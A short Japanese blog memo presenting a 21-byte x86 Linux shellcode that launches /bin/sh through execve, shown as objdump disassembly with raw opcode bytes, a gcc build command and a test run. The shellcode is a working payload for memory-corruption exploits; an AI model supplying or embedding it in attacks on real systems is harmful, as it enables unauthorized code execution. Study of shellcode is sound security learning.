/bin/shを起動するシェルコード(x86) その2

前回よりもシェルコードを短くできたのでメモ。 前回は23bytes、今回は21bytes。

# objdump -d -Mintel b.out | grep -A8 \<main\>
080483ed <main>:
 80483ed:       31 c0                   xor    eax,eax
 80483ef:       50                      push   eax
 80483f0:       89 e1                   mov    ecx,esp
 80483f2:       68 2f 2f 73 68          push   0x68732f2f
 80483f7:       68 2f 62 69 6e          push   0x6e69622f
 80483fc:       89 e3                   mov    ebx,esp
 80483fe:       b0 0b                   mov    al,0xb
 8048400:       cd 80                   int    0x80

前回はプロンプトがsh-4.2#に変化して分かりやすかったが、今回はプロンプトが変わらないがシェルは取れる。 execveの第三引数envpが絡んでいるかも?

# gcc -m32 -o b.out b.s
# ./b.out
# exit

レジスタとスタックは以下のようになっているはず。

f:id:boblice:20171018234545p:plain

参考 EXECVEの仕様 https://linuxjm.osdn.jp/html/LDP_man-pages/man2/execve.2.html